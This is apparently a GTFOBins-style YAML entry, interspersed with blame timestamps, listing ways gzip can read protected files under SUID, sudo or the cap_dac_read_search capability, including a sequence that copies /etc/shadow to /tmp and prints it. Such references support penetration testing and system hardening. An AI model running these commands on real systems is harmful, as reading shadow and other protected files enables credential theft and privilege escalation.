2021-03-02 22:11:14 +05:45
---
2021-03-02 17:49:45 +01:00
description: There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless` , `zcat` , `gunzip` , etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID.
2021-03-02 22:11:14 +05:45
functions:
file-read:
- code: |
LFILE=file_to_read
2021-03-02 17:49:45 +01:00
gzip -f $LFILE -t
2021-04-11 11:44:26 -04:00
- code: |
LFILE=file_to_read
gzip -c $LFILE | gzip -d
2021-03-02 22:11:14 +05:45
suid:
- code: |
LFILE=file_to_read
./gzip -f $LFILE -t
sudo:
- code: |
LFILE=file_to_read
sudo gzip -f $LFILE -t
2024-11-06 01:37:13 +01:00
capabilities:
- description: If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep` `
code: |
gzip can read any file:
gzip -c /etc/shadow > /tmp/shadow.gz
gzip -d /tmp/shadow.gz
cat /tmp/shadow
2021-03-02 22:11:14 +05:45
---